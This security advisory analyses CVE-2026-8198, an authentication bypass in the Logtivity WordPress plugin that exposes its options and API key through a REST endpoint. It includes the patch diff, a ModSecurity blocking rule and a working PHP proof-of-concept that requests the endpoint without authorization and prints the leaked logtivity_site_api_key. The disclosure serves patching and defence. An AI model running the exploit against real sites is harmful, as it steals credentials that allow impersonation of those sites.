Atomic Edge analysis of CVE-2026-8198:
This vulnerability allows unauthenticated information disclosure in the Logtivity plugin for WordPress (versions up to and including 3.3.6). The core logic flaw resides in the verifyAuthorization method. An attacker can bypass authentication by omitting the Authorization header entirely, causing the method to skip all Bearer token validation and return true unconditionally. This enables access to the /wp-json/logtivity/v1/options REST API endpoint and retrieval of sensitive configuration options, including the logtivity_site_api_key.
Root Cause: The verifyAuthorization method in logtivity/Core/Services/Logtivity_Rest_Endpoints.php (lines 71-106) accepted a string parameter $authHeader. If an HTTP request lacked the Authorization header, the parameter was not passed or was empty. The validation logic checked if a Bearer token could be parsed from $authHeader, but if no token existed, the code fell through to the return true statement at line 106. The method never explicitly rejected requests without a valid Authorization header. The try-catch block caught exceptions but the unconditional return true at the end always succeeded.
Exploitation: An unauthenticated attacker crafts a GET request to the WordPress REST API endpoint /wp-json/logtivity/v1/options. By sending a request with no Authorization header, the verifyAuthorization method receives a null or empty string. The token parsing logic fails (no Bearer token present), but instead of returning an error, the method returns true. This bypasses all authentication checks, exposing plugin options in the response body. A simple cURL command or HTTP request suffices.
Patch Analysis: The patch modifies the verifyAuthorization method signature to accept ?string $authHeader (allowing null). It adds an explicit check at the beginning: if ($authHeader == false) throws a new Exception(‘No authorization provided’). This ensures that any request without a valid Authorization header (null, empty, or false) is immediately rejected. The patch also adds an else branch for malformed headers. The unconditional return true is now only reached after successful Bearer token validation.
Impact: Successful exploitation allows unauthenticated attackers to read all plugin configuration options from the REST API response. The most critical exposed value is the logtivity_site_api_key, which can be used to impersonate the site in API calls to the Logtivity service. This could lead to further abuse, such as sending fraudulent activity logs or extracting additional data from the Logtivity backend. The CVSS score is 5.3 (Medium) due to the confidentiality impact and lack of authentication requirement.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/logtivity/Core/Services/Logtivity_Rest_Endpoints.php
+++ b/logtivity/Core/Services/Logtivity_Rest_Endpoints.php
@@ -71,14 +71,18 @@
}
/**
- * @param string $authHeader
+ * @param ?string $authHeader
*
* @return true|WP_Error
*/
- protected function verifyAuthorization(string $authHeader)
+ protected function verifyAuthorization(?string $authHeader)
{
if ($apikey = (new Logtivity_Options())->getApiKey()) {
try {
+ if ($authHeader == false) {
+ throw new Exception('No authorization provided');
+ }
+
$keys = explode(' ', $authHeader);
if (count($keys) == 2 && $keys[0] == 'Bearer') {
$payload = $this->parseToken($keys[1], $apikey);
@@ -102,6 +106,9 @@
)
);
}
+
+ } else {
+ throw new Exception('Malformed header');
}
return true;
--- a/logtivity/functions/functions.php
+++ b/logtivity/functions/functions.php
@@ -76,11 +76,11 @@
}
/**
- * @param int $postId
+ * @param ?int $postId
*
* @return string
*/
- function logtivity_get_the_title(int $postId): string
+ function logtivity_get_the_title(?int $postId): string
{
$wpTexturize = remove_filter('the_title', 'wptexturize');
--- a/logtivity/logtivity.php
+++ b/logtivity/logtivity.php
@@ -5,7 +5,7 @@
* Plugin URI: https://logtivity.io
* Description: Record activity logs and errors logs across all your WordPress sites.
* Author: Logtivity
- * Version: 3.3.6
+ * Version: 3.3.7
* Text Domain: logtivity
* Requires at least: 4.7
* Requires PHP: 7.4
@@ -44,7 +44,7 @@
/**
* @var string
*/
- protected string $version = '3.3.6';
+ protected string $version = '3.3.7';
/**
* Integrations with other plugins
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@beginsWith /wp-json/logtivity/v1/options"
"id:20261994,phase:2,deny,status:403,msg:'CVE-2026-8198 - Logtivity Unauthenticated Information Disclosure',severity:'CRITICAL',tag:'CVE-2026-8198'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-8198 - Activity Logs, User Activity Tracking, Multisite Activity Log from Logtivity <= 3.3.6 - Unauthenticated Information Disclosure via REST API
/**
* Exploit: Requests the /wp-json/logtivity/v1/options endpoint without Authorization header.
* The server returns plugin configuration, including the logtivity_site_api_key.
*/
// Configure target URL (change to the vulnerable WordPress site)
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
// Endpoint that exposes plugin options
$endpoint = '/wp-json/logtivity/v1/options';
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
// No Authorization header is sent intentionally
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Display results
echo "[*] CVE-2026-8198 PoC - Logtivity Unauthenticated Information Disclosuren";
echo "[*] Target: $target_url$endpointn";
echo "[*] HTTP Response Code: $http_coden";
if ($http_code == 200 && !empty($response)) {
$data = json_decode($response, true);
if ($data !== null) {
echo "[+] Success! Retrieved plugin options:n";
echo json_encode($data, JSON_PRETTY_PRINT) . "n";
// Highlight sensitive key
if (isset($data['logtivity_site_api_key'])) {
echo "n[!] WARNING: Exposed logtivity_site_api_key: " . $data['logtivity_site_api_key'] . "n";
}
} else {
echo "[!] Response is not valid JSON. Raw response:n$responsen";
}
} elseif ($http_code == 403 || $http_code == 401) {
echo "[-] The target appears patched or protected. Got HTTP $http_code.n";
} else {
echo "[!] Unexpected HTTP code: $http_coden";
echo "Response: $responsen";
}
